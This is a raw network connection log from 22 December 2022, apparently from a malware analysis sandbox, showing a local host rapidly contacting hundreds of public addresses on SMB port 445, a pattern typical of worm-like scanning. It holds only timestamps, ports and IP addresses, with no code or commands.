Dec 22, 2022 10:05:50.781167030 CET	54835	445	192.168.2.6	186.109.8.217
Dec 22, 2022 10:05:50.781172037 CET	54834	445	192.168.2.6	20.59.214.116
Dec 22, 2022 10:05:50.810254097 CET	54836	445	192.168.2.6	39.59.88.58
Dec 22, 2022 10:05:50.812094927 CET	54837	445	192.168.2.6	140.31.56.56
Dec 22, 2022 10:05:50.813040972 CET	54838	445	192.168.2.6	97.128.37.69
Dec 22, 2022 10:05:50.814373016 CET	54849	445	192.168.2.6	137.144.29.138
Dec 22, 2022 10:05:50.860693932 CET	54851	445	192.168.2.6	192.157.217.141
Dec 22, 2022 10:05:50.860863924 CET	54852	445	192.168.2.6	200.208.125.220
Dec 22, 2022 10:05:50.888413906 CET	54858	445	192.168.2.6	104.195.228.34
Dec 22, 2022 10:05:50.888739109 CET	54861	445	192.168.2.6	26.175.72.25
Dec 22, 2022 10:05:50.888837099 CET	54863	445	192.168.2.6	62.39.38.241
Dec 22, 2022 10:05:50.888895035 CET	54864	445	192.168.2.6	108.34.50.70
Dec 22, 2022 10:05:50.889168978 CET	54868	445	192.168.2.6	167.2.5.244
Dec 22, 2022 10:05:50.889341116 CET	54871	445	192.168.2.6	27.129.138.83
Dec 22, 2022 10:05:50.889437914 CET	54872	445	192.168.2.6	35.45.127.173
Dec 22, 2022 10:05:50.889457941 CET	54873	445	192.168.2.6	211.252.115.125
Dec 22, 2022 10:05:50.889558077 CET	54874	445	192.168.2.6	64.13.140.162
Dec 22, 2022 10:05:50.889612913 CET	54875	445	192.168.2.6	193.17.26.65
Dec 22, 2022 10:05:50.889731884 CET	54877	445	192.168.2.6	109.17.58.159
Dec 22, 2022 10:05:50.889790058 CET	54878	445	192.168.2.6	162.3.145.207
Dec 22, 2022 10:05:50.889851093 CET	54879	445	192.168.2.6	204.222.108.36
Dec 22, 2022 10:05:50.890034914 CET	54882	445	192.168.2.6	200.94.193.211
Dec 22, 2022 10:05:50.890157938 CET	54883	445	192.168.2.6	38.234.97.37
Dec 22, 2022 10:05:50.890157938 CET	54884	445	192.168.2.6	211.198.171.19
Dec 22, 2022 10:05:50.890275955 CET	54886	445	192.168.2.6	178.253.61.72
Dec 22, 2022 10:05:50.890346050 CET	54887	445	192.168.2.6	19.230.180.195
Dec 22, 2022 10:05:50.890460968 CET	54890	445	192.168.2.6	136.146.233.213
Dec 22, 2022 10:05:50.890558958 CET	54892	445	192.168.2.6	39.236.5.91
Dec 22, 2022 10:05:50.890676975 CET	54893	445	192.168.2.6	41.173.220.69
Dec 22, 2022 10:05:51.216166019 CET	54899	445	192.168.2.6	176.210.131.57
Dec 22, 2022 10:05:51.872308016 CET	54905	445	192.168.2.6	43.217.136.172
Dec 22, 2022 10:05:51.888988972 CET	54908	445	192.168.2.6	60.175.43.142
Dec 22, 2022 10:05:51.889894962 CET	54909	445	192.168.2.6	12.119.73.43
Dec 22, 2022 10:05:51.919722080 CET	54910	445	192.168.2.6	27.65.95.182
Dec 22, 2022 10:05:51.920263052 CET	54912	445	192.168.2.6	117.106.211.230
Dec 22, 2022 10:05:51.922065020 CET	54923	445	192.168.2.6	210.203.50.109
Dec 22, 2022 10:05:51.922806978 CET	54924	445	192.168.2.6	121.132.169.176
Dec 22, 2022 10:05:51.981776953 CET	54925	445	192.168.2.6	73.91.66.27
Dec 22, 2022 10:05:51.982320070 CET	54927	445	192.168.2.6	210.36.155.30
Dec 22, 2022 10:05:52.013396025 CET	54934	445	192.168.2.6	11.61.179.202
Dec 22, 2022 10:05:52.013681889 CET	54935	445	192.168.2.6	90.72.237.249
Dec 22, 2022 10:05:52.013827085 CET	54936	445	192.168.2.6	193.144.175.236
Dec 22, 2022 10:05:52.014139891 CET	54937	445	192.168.2.6	164.208.217.252
Dec 22, 2022 10:05:52.014272928 CET	54938	445	192.168.2.6	81.182.198.81
Dec 22, 2022 10:05:52.014576912 CET	54940	445	192.168.2.6	169.92.245.118
Dec 22, 2022 10:05:52.014787912 CET	54941	445	192.168.2.6	157.79.197.14
Dec 22, 2022 10:05:52.014909029 CET	54942	445	192.168.2.6	12.107.177.149
Dec 22, 2022 10:05:52.015242100 CET	54945	445	192.168.2.6	149.19.139.205
Dec 22, 2022 10:05:52.015538931 CET	54946	445	192.168.2.6	177.110.193.128
Dec 22, 2022 10:05:52.015810013 CET	54948	445	192.168.2.6	81.68.211.32
Dec 22, 2022 10:05:52.016191959 CET	54949	445	192.168.2.6	112.241.91.122
Dec 22, 2022 10:05:52.016328096 CET	54950	445	192.168.2.6	197.121.59.187
Dec 22, 2022 10:05:52.016870975 CET	54953	445	192.168.2.6	164.9.159.86
Dec 22, 2022 10:05:52.017111063 CET	54955	445	192.168.2.6	36.182.75.47
Dec 22, 2022 10:05:52.017431021 CET	54956	445	192.168.2.6	214.129.86.87
Dec 22, 2022 10:05:52.018381119 CET	54958	445	192.168.2.6	27.129.26.78
Dec 22, 2022 10:05:52.019038916 CET	54961	445	192.168.2.6	26.54.78.21
Dec 22, 2022 10:05:52.019172907 CET	54962	445	192.168.2.6	4.224.114.192
Dec 22, 2022 10:05:52.019511938 CET	54963	445	192.168.2.6	160.58.217.169
Dec 22, 2022 10:05:52.020030022 CET	54967	445	192.168.2.6	22.253.133.118
Dec 22, 2022 10:05:52.278898001 CET	54972	445	192.168.2.6	176.210.131.58
Dec 22, 2022 10:05:52.668833971 CET	53785	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:52.736103058 CET	54978	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:52.770709038 CET	445	54978	84.6.126.2	192.168.2.6
Dec 22, 2022 10:05:52.770934105 CET	54978	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:52.770934105 CET	54978	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:52.808936119 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:52.843967915 CET	445	54979	84.6.126.2	192.168.2.6
Dec 22, 2022 10:05:52.844151020 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:52.844261885 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:52.981890917 CET	54983	445	192.168.2.6	47.242.19.74
Dec 22, 2022 10:05:52.998555899 CET	54984	445	192.168.2.6	31.139.174.223
Dec 22, 2022 10:05:52.999248028 CET	54986	445	192.168.2.6	78.254.3.133
Dec 22, 2022 10:05:53.029181957 CET	54987	445	192.168.2.6	223.202.187.250
Dec 22, 2022 10:05:53.035239935 CET	54994	445	192.168.2.6	169.17.236.102
Dec 22, 2022 10:05:53.035778999 CET	54995	445	192.168.2.6	177.62.215.139
Dec 22, 2022 10:05:53.036122084 CET	54997	445	192.168.2.6	208.69.98.228
Dec 22, 2022 10:05:53.075068951 CET	54978	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:53.091569901 CET	55003	445	192.168.2.6	182.234.203.223
Dec 22, 2022 10:05:53.091866016 CET	55004	445	192.168.2.6	109.67.4.61
Dec 22, 2022 10:05:53.106477022 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:53.138315916 CET	55009	445	192.168.2.6	105.191.170.249
Dec 22, 2022 10:05:53.138794899 CET	55013	445	192.168.2.6	1.71.84.123
Dec 22, 2022 10:05:53.139027119 CET	55014	445	192.168.2.6	57.144.137.65
Dec 22, 2022 10:05:53.139327049 CET	55015	445	192.168.2.6	78.164.15.81
Dec 22, 2022 10:05:53.140027046 CET	55018	445	192.168.2.6	166.193.217.233
Dec 22, 2022 10:05:53.140342951 CET	55020	445	192.168.2.6	101.27.42.180
Dec 22, 2022 10:05:53.140526056 CET	55021	445	192.168.2.6	131.43.36.172
Dec 22, 2022 10:05:53.140718937 CET	55023	445	192.168.2.6	7.71.67.171
Dec 22, 2022 10:05:53.141207933 CET	55027	445	192.168.2.6	164.244.119.86
Dec 22, 2022 10:05:53.141210079 CET	55026	445	192.168.2.6	222.45.5.157
Dec 22, 2022 10:05:53.141320944 CET	55028	445	192.168.2.6	123.227.11.136
Dec 22, 2022 10:05:53.141618967 CET	55030	445	192.168.2.6	110.217.24.52
Dec 22, 2022 10:05:53.141722918 CET	55031	445	192.168.2.6	117.53.70.108
Dec 22, 2022 10:05:53.142004967 CET	55034	445	192.168.2.6	181.47.59.41
Dec 22, 2022 10:05:53.142133951 CET	55035	445	192.168.2.6	206.68.186.72
Dec 22, 2022 10:05:53.142354965 CET	55036	445	192.168.2.6	163.214.217.23
Dec 22, 2022 10:05:53.142625093 CET	55038	445	192.168.2.6	70.226.154.179
Dec 22, 2022 10:05:53.142851114 CET	55039	445	192.168.2.6	216.1.14.215
Dec 22, 2022 10:05:53.142976046 CET	55040	445	192.168.2.6	11.138.44.30
Dec 22, 2022 10:05:53.143089056 CET	55041	445	192.168.2.6	87.171.35.3
Dec 22, 2022 10:05:53.143188000 CET	55042	445	192.168.2.6	187.101.183.199
Dec 22, 2022 10:05:53.356784105 CET	55049	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:53.418872118 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:53.459522009 CET	445	55049	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:53.459669113 CET	55049	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:53.459809065 CET	55049	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:53.464210987 CET	55051	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:53.562438965 CET	445	55051	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:53.562550068 CET	55051	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:53.562594891 CET	55051	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:53.563294888 CET	445	55049	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:53.571384907 CET	445	55049	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:53.571449041 CET	55049	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:53.662455082 CET	445	55051	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:53.670563936 CET	445	55051	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:53.670815945 CET	55051	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:53.684545994 CET	54978	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:53.774532080 CET	445	55051	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:53.774748087 CET	55051	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:53.874517918 CET	445	55051	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:53.874917030 CET	55051	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:53.974462986 CET	445	55051	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:53.974589109 CET	55051	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:54.028443098 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:54.078555107 CET	445	55051	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:54.078704119 CET	55051	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:54.106667995 CET	55058	445	192.168.2.6	219.12.9.192
Dec 22, 2022 10:05:54.107570887 CET	55060	445	192.168.2.6	86.96.223.45
Dec 22, 2022 10:05:54.108362913 CET	55062	445	192.168.2.6	164.131.39.137
Dec 22, 2022 10:05:54.146820068 CET	55063	445	192.168.2.6	60.40.16.186
Dec 22, 2022 10:05:54.148469925 CET	55071	445	192.168.2.6	143.140.164.197
Dec 22, 2022 10:05:54.149434090 CET	55076	445	192.168.2.6	139.73.52.108
Dec 22, 2022 10:05:54.149585009 CET	55077	445	192.168.2.6	76.37.206.129
Dec 22, 2022 10:05:54.201519012 CET	55083	445	192.168.2.6	165.121.32.76
Dec 22, 2022 10:05:54.201602936 CET	55084	445	192.168.2.6	168.149.95.243
Dec 22, 2022 10:05:54.247601032 CET	55086	445	192.168.2.6	213.160.123.181
Dec 22, 2022 10:05:54.248014927 CET	55087	445	192.168.2.6	6.100.121.36
Dec 22, 2022 10:05:54.248321056 CET	55089	445	192.168.2.6	42.89.90.68
Dec 22, 2022 10:05:54.248559952 CET	55090	445	192.168.2.6	65.155.56.91
Dec 22, 2022 10:05:54.248986006 CET	55093	445	192.168.2.6	213.216.215.254
Dec 22, 2022 10:05:54.249197960 CET	55094	445	192.168.2.6	41.207.102.180
Dec 22, 2022 10:05:54.249361992 CET	55095	445	192.168.2.6	55.28.170.129
Dec 22, 2022 10:05:54.249624014 CET	55097	445	192.168.2.6	61.151.217.242
Dec 22, 2022 10:05:54.249739885 CET	55098	445	192.168.2.6	84.62.103.187
Dec 22, 2022 10:05:54.249886990 CET	55099	445	192.168.2.6	153.64.111.162
Dec 22, 2022 10:05:54.250121117 CET	55100	445	192.168.2.6	189.227.153.79
Dec 22, 2022 10:05:54.250340939 CET	55101	445	192.168.2.6	96.18.139.230
Dec 22, 2022 10:05:54.270404100 CET	55104	445	192.168.2.6	120.207.207.215
Dec 22, 2022 10:05:54.270809889 CET	55108	445	192.168.2.6	49.49.84.31
Dec 22, 2022 10:05:54.271027088 CET	55109	445	192.168.2.6	19.131.179.41
Dec 22, 2022 10:05:54.271238089 CET	55110	445	192.168.2.6	99.3.137.24
Dec 22, 2022 10:05:54.272177935 CET	55113	445	192.168.2.6	208.143.65.48
Dec 22, 2022 10:05:54.272800922 CET	55115	445	192.168.2.6	68.133.215.44
Dec 22, 2022 10:05:54.273016930 CET	55116	445	192.168.2.6	55.49.82.219
Dec 22, 2022 10:05:54.273299932 CET	55118	445	192.168.2.6	154.54.184.183
Dec 22, 2022 10:05:54.273678064 CET	55120	445	192.168.2.6	46.107.2.246
Dec 22, 2022 10:05:54.442142963 CET	445	55100	189.227.153.79	192.168.2.6
Dec 22, 2022 10:05:54.888044119 CET	54978	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:54.950253010 CET	55100	445	192.168.2.6	189.227.153.79
Dec 22, 2022 10:05:55.142430067 CET	445	55100	189.227.153.79	192.168.2.6
Dec 22, 2022 10:05:55.216775894 CET	55134	445	192.168.2.6	97.252.166.11
Dec 22, 2022 10:05:55.218494892 CET	55135	445	192.168.2.6	20.167.120.175
Dec 22, 2022 10:05:55.221848965 CET	55137	445	192.168.2.6	134.204.225.39
Dec 22, 2022 10:05:55.231631041 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:55.254522085 CET	55140	445	192.168.2.6	91.61.239.199
Dec 22, 2022 10:05:55.254921913 CET	55147	445	192.168.2.6	73.74.200.69
Dec 22, 2022 10:05:55.258546114 CET	55151	445	192.168.2.6	124.48.62.227
Dec 22, 2022 10:05:55.258658886 CET	55152	445	192.168.2.6	137.186.231.133
Dec 22, 2022 10:05:55.310836077 CET	55158	445	192.168.2.6	82.202.192.234
Dec 22, 2022 10:05:55.311110973 CET	55159	445	192.168.2.6	70.29.198.148
Dec 22, 2022 10:05:55.357111931 CET	55161	445	192.168.2.6	185.69.206.151
Dec 22, 2022 10:05:55.357326031 CET	55163	445	192.168.2.6	82.64.139.185
Dec 22, 2022 10:05:55.357516050 CET	55164	445	192.168.2.6	209.104.63.234
Dec 22, 2022 10:05:55.357601881 CET	55165	445	192.168.2.6	94.75.98.117
Dec 22, 2022 10:05:55.357865095 CET	55167	445	192.168.2.6	216.242.59.102
Dec 22, 2022 10:05:55.358035088 CET	55169	445	192.168.2.6	18.27.229.216
Dec 22, 2022 10:05:55.358314991 CET	55173	445	192.168.2.6	58.134.35.162
Dec 22, 2022 10:05:55.358333111 CET	55170	445	192.168.2.6	13.186.96.194
Dec 22, 2022 10:05:55.358333111 CET	55172	445	192.168.2.6	154.237.116.188
Dec 22, 2022 10:05:55.358428001 CET	55174	445	192.168.2.6	147.215.199.241
Dec 22, 2022 10:05:55.358529091 CET	55175	445	192.168.2.6	186.62.109.50
Dec 22, 2022 10:05:55.358586073 CET	55176	445	192.168.2.6	114.199.172.243
Dec 22, 2022 10:05:55.388202906 CET	55180	445	192.168.2.6	199.161.221.93
Dec 22, 2022 10:05:55.388376951 CET	55182	445	192.168.2.6	28.250.220.116
Dec 22, 2022 10:05:55.388530016 CET	55183	445	192.168.2.6	36.0.103.0
Dec 22, 2022 10:05:55.388655901 CET	55184	445	192.168.2.6	220.235.8.81
Dec 22, 2022 10:05:55.389136076 CET	55188	445	192.168.2.6	65.45.45.235
Dec 22, 2022 10:05:55.389338970 CET	55190	445	192.168.2.6	14.244.103.181
Dec 22, 2022 10:05:55.389339924 CET	55189	445	192.168.2.6	129.172.91.223
Dec 22, 2022 10:05:55.389481068 CET	55191	445	192.168.2.6	4.169.0.244
Dec 22, 2022 10:05:55.389753103 CET	55195	445	192.168.2.6	85.54.125.57
Dec 22, 2022 10:05:56.406313896 CET	55208	445	192.168.2.6	19.29.99.67
Dec 22, 2022 10:05:56.411041975 CET	55213	445	192.168.2.6	105.140.54.6
Dec 22, 2022 10:05:56.414498091 CET	55224	445	192.168.2.6	185.249.222.15
Dec 22, 2022 10:05:56.414499044 CET	55225	445	192.168.2.6	113.248.25.48
Dec 22, 2022 10:05:56.414557934 CET	55226	445	192.168.2.6	73.190.58.48
Dec 22, 2022 10:05:56.414589882 CET	55223	445	192.168.2.6	55.143.19.231
Dec 22, 2022 10:05:56.414611101 CET	55227	445	192.168.2.6	111.104.157.91
Dec 22, 2022 10:05:56.434741020 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:56.618309021 CET	55233	445	192.168.2.6	195.168.103.225
Dec 22, 2022 10:05:56.618413925 CET	55234	445	192.168.2.6	160.154.72.168
Dec 22, 2022 10:05:56.618757010 CET	55236	445	192.168.2.6	210.154.20.120
Dec 22, 2022 10:05:56.618952036 CET	55238	445	192.168.2.6	87.23.76.3
Dec 22, 2022 10:05:56.619043112 CET	55239	445	192.168.2.6	162.67.13.41
Dec 22, 2022 10:05:56.619230032 CET	55240	445	192.168.2.6	213.75.124.126
Dec 22, 2022 10:05:56.619635105 CET	55244	445	192.168.2.6	174.114.223.13
Dec 22, 2022 10:05:56.619820118 CET	55245	445	192.168.2.6	200.120.242.168
Dec 22, 2022 10:05:56.620358944 CET	55246	445	192.168.2.6	4.3.151.12
Dec 22, 2022 10:05:56.620594978 CET	55247	445	192.168.2.6	114.104.239.203
Dec 22, 2022 10:05:56.620939016 CET	55250	445	192.168.2.6	131.216.66.211
Dec 22, 2022 10:05:56.621189117 CET	55252	445	192.168.2.6	119.199.133.123
Dec 22, 2022 10:05:56.621496916 CET	55255	445	192.168.2.6	110.142.32.229
Dec 22, 2022 10:05:56.621602058 CET	55256	445	192.168.2.6	179.145.124.78
Dec 22, 2022 10:05:56.621901989 CET	55257	445	192.168.2.6	173.8.156.156
Dec 22, 2022 10:05:56.622087002 CET	55259	445	192.168.2.6	11.26.107.146
Dec 22, 2022 10:05:56.622495890 CET	55261	445	192.168.2.6	203.5.225.175
Dec 22, 2022 10:05:56.622603893 CET	55262	445	192.168.2.6	101.100.154.4
Dec 22, 2022 10:05:56.622845888 CET	55263	445	192.168.2.6	138.2.85.174
Dec 22, 2022 10:05:56.623034000 CET	55265	445	192.168.2.6	169.124.46.78
Dec 22, 2022 10:05:56.623197079 CET	55266	445	192.168.2.6	166.166.171.240
Dec 22, 2022 10:05:56.623434067 CET	55267	445	192.168.2.6	74.44.22.72
Dec 22, 2022 10:05:56.623542070 CET	55268	445	192.168.2.6	45.25.249.145
Dec 22, 2022 10:05:56.865606070 CET	445	55213	105.140.54.6	192.168.2.6
Dec 22, 2022 10:05:56.931468964 CET	49711	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:05:56.961353064 CET	443	49711	20.90.152.133	192.168.2.6
Dec 22, 2022 10:05:57.012985945 CET	49711	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:05:57.039091110 CET	55278	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:57.142075062 CET	445	55278	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:57.142170906 CET	55278	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:57.142215967 CET	55278	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:57.246246099 CET	445	55278	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:57.254122019 CET	445	55278	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:57.254249096 CET	55278	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:57.294187069 CET	54978	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:57.358201981 CET	445	55278	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:57.372351885 CET	55213	445	192.168.2.6	105.140.54.6
Dec 22, 2022 10:05:57.387845039 CET	55278	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:57.490130901 CET	445	55278	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:57.490339041 CET	55278	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:57.594300032 CET	445	55278	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:57.605103970 CET	55285	445	192.168.2.6	223.238.113.207
Dec 22, 2022 10:05:57.605819941 CET	55278	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:57.606560946 CET	55291	445	192.168.2.6	190.28.64.138
Dec 22, 2022 10:05:57.608984947 CET	55300	445	192.168.2.6	109.58.51.122
Dec 22, 2022 10:05:57.609770060 CET	55301	445	192.168.2.6	141.238.141.195
Dec 22, 2022 10:05:57.614411116 CET	55302	445	192.168.2.6	39.7.50.88
Dec 22, 2022 10:05:57.614917994 CET	55303	445	192.168.2.6	101.151.155.4
Dec 22, 2022 10:05:57.615027905 CET	55304	445	192.168.2.6	220.192.249.183
Dec 22, 2022 10:05:57.637976885 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:05:57.710099936 CET	445	55278	176.210.131.59	192.168.2.6
Dec 22, 2022 10:05:57.710259914 CET	55278	445	192.168.2.6	176.210.131.59
Dec 22, 2022 10:05:57.745172977 CET	445	55213	105.140.54.6	192.168.2.6
Dec 22, 2022 10:05:58.349926949 CET	55307	445	192.168.2.6	28.243.217.129
Dec 22, 2022 10:05:58.353497982 CET	55309	445	192.168.2.6	42.151.217.232
Dec 22, 2022 10:05:58.353812933 CET	55312	445	192.168.2.6	113.14.27.161
Dec 22, 2022 10:05:58.367712021 CET	55313	445	192.168.2.6	89.140.229.169
Dec 22, 2022 10:05:58.367943048 CET	55314	445	192.168.2.6	85.14.96.20
Dec 22, 2022 10:05:58.368100882 CET	55316	445	192.168.2.6	69.129.221.140
Dec 22, 2022 10:05:58.368971109 CET	55323	445	192.168.2.6	218.215.39.95
Dec 22, 2022 10:05:58.369096994 CET	55324	445	192.168.2.6	221.68.19.125
Dec 22, 2022 10:05:58.369261980 CET	55326	445	192.168.2.6	217.196.51.89
Dec 22, 2022 10:05:58.369713068 CET	55328	445	192.168.2.6	174.115.254.46
Dec 22, 2022 10:05:58.369723082 CET	55329	445	192.168.2.6	153.24.183.105
Dec 22, 2022 10:05:58.404829025 CET	445	55314	85.14.96.20	192.168.2.6
Dec 22, 2022 10:05:58.432925940 CET	55330	445	192.168.2.6	134.218.189.13
Dec 22, 2022 10:05:58.433451891 CET	55334	445	192.168.2.6	42.81.32.38
Dec 22, 2022 10:05:58.433547020 CET	55335	445	192.168.2.6	130.217.241.152
Dec 22, 2022 10:05:58.434155941 CET	55336	445	192.168.2.6	202.108.203.62
Dec 22, 2022 10:05:58.434338093 CET	55337	445	192.168.2.6	58.166.44.101
Dec 22, 2022 10:05:58.434822083 CET	55340	445	192.168.2.6	153.241.161.117
Dec 22, 2022 10:05:58.435033083 CET	55341	445	192.168.2.6	75.135.3.22
Dec 22, 2022 10:05:58.435118914 CET	55342	445	192.168.2.6	99.11.247.162
Dec 22, 2022 10:05:58.435209990 CET	55343	445	192.168.2.6	177.131.244.33
Dec 22, 2022 10:05:58.435461998 CET	55345	445	192.168.2.6	122.206.169.47
Dec 22, 2022 10:05:58.435636997 CET	55346	445	192.168.2.6	136.238.96.133
Dec 22, 2022 10:05:58.435709000 CET	55347	445	192.168.2.6	170.111.51.226
Dec 22, 2022 10:05:58.437187910 CET	55348	445	192.168.2.6	176.210.131.60
Dec 22, 2022 10:05:58.785643101 CET	55362	445	192.168.2.6	27.58.128.230
Dec 22, 2022 10:05:58.787581921 CET	55372	445	192.168.2.6	14.87.160.53
Dec 22, 2022 10:05:58.788355112 CET	55373	445	192.168.2.6	160.2.246.33
Dec 22, 2022 10:05:58.789150953 CET	55374	445	192.168.2.6	205.82.225.29
Dec 22, 2022 10:05:58.789876938 CET	55375	445	192.168.2.6	129.0.9.90
Dec 22, 2022 10:05:58.790617943 CET	55376	445	192.168.2.6	196.92.104.148
Dec 22, 2022 10:05:58.791387081 CET	55381	445	192.168.2.6	32.183.247.104
Dec 22, 2022 10:05:58.919337988 CET	55314	445	192.168.2.6	85.14.96.20
Dec 22, 2022 10:05:58.956134081 CET	445	55314	85.14.96.20	192.168.2.6
Dec 22, 2022 10:05:59.471060038 CET	55314	445	192.168.2.6	85.14.96.20
Dec 22, 2022 10:05:59.508006096 CET	445	55314	85.14.96.20	192.168.2.6
Dec 22, 2022 10:06:00.056489944 CET	55383	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:00.076873064 CET	55384	445	192.168.2.6	35.43.253.36
Dec 22, 2022 10:06:00.078286886 CET	55389	445	192.168.2.6	45.71.58.89
Dec 22, 2022 10:06:00.078427076 CET	55390	445	192.168.2.6	16.98.136.220
Dec 22, 2022 10:06:00.079101086 CET	55391	445	192.168.2.6	219.197.67.73
Dec 22, 2022 10:06:00.079263926 CET	55392	445	192.168.2.6	34.229.13.32
Dec 22, 2022 10:06:00.079691887 CET	55395	445	192.168.2.6	157.14.154.133
Dec 22, 2022 10:06:00.079924107 CET	55397	445	192.168.2.6	185.243.86.21
Dec 22, 2022 10:06:00.080094099 CET	55399	445	192.168.2.6	26.213.181.189
Dec 22, 2022 10:06:00.080209017 CET	55400	445	192.168.2.6	150.21.115.197
Dec 22, 2022 10:06:00.080868959 CET	55407	445	192.168.2.6	41.133.151.80
Dec 22, 2022 10:06:00.081113100 CET	55409	445	192.168.2.6	75.113.49.242
Dec 22, 2022 10:06:00.081280947 CET	55410	445	192.168.2.6	28.103.67.79
Dec 22, 2022 10:06:00.081572056 CET	55413	445	192.168.2.6	204.17.197.9
Dec 22, 2022 10:06:00.081752062 CET	55415	445	192.168.2.6	216.91.0.45
Dec 22, 2022 10:06:00.082228899 CET	55418	445	192.168.2.6	184.172.160.79
Dec 22, 2022 10:06:00.083723068 CET	55428	445	192.168.2.6	48.67.9.212
Dec 22, 2022 10:06:00.138000965 CET	55429	445	192.168.2.6	193.170.220.218
Dec 22, 2022 10:06:00.152146101 CET	55430	445	192.168.2.6	31.75.223.24
Dec 22, 2022 10:06:00.152817011 CET	55431	445	192.168.2.6	66.219.174.49
Dec 22, 2022 10:06:00.153331995 CET	55432	445	192.168.2.6	78.105.119.146
Dec 22, 2022 10:06:00.156265020 CET	55437	445	192.168.2.6	78.252.148.129
Dec 22, 2022 10:06:00.158257008 CET	55451	445	192.168.2.6	21.208.149.87
Dec 22, 2022 10:06:00.158515930 CET	55452	445	192.168.2.6	166.35.18.7
Dec 22, 2022 10:06:00.158675909 CET	55453	445	192.168.2.6	81.37.173.234
Dec 22, 2022 10:06:00.158971071 CET	55455	445	192.168.2.6	71.178.185.133
Dec 22, 2022 10:06:00.159265995 CET	55456	445	192.168.2.6	148.92.160.155
Dec 22, 2022 10:06:00.159497976 CET	55457	445	192.168.2.6	105.73.31.70
Dec 22, 2022 10:06:00.159679890 CET	55458	445	192.168.2.6	162.38.17.21
Dec 22, 2022 10:06:00.159811020 CET	55459	445	192.168.2.6	103.77.142.228
Dec 22, 2022 10:06:00.159960032 CET	55460	445	192.168.2.6	35.196.164.112
Dec 22, 2022 10:06:00.163595915 CET	445	55383	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:00.163706064 CET	55383	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:00.163875103 CET	55383	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:00.169466972 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:00.179636955 CET	55461	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:00.222389936 CET	445	55457	105.73.31.70	192.168.2.6
Dec 22, 2022 10:06:00.270632982 CET	445	55383	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:00.274847984 CET	445	55383	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:00.275013924 CET	55383	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:00.285135031 CET	445	55461	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:00.285310030 CET	55461	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:00.496759892 CET	55461	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:00.601104021 CET	445	55461	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:00.605062008 CET	445	55461	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:00.674542904 CET	55461	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:00.679565907 CET	55461	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:00.778954029 CET	55457	445	192.168.2.6	105.73.31.70
Dec 22, 2022 10:06:00.789280891 CET	445	55461	176.210.131.61	192.168.2.6
Dec 22, 2022 10:06:00.789438963 CET	55461	445	192.168.2.6	176.210.131.61
Dec 22, 2022 10:06:00.840651989 CET	445	55457	105.73.31.70	192.168.2.6
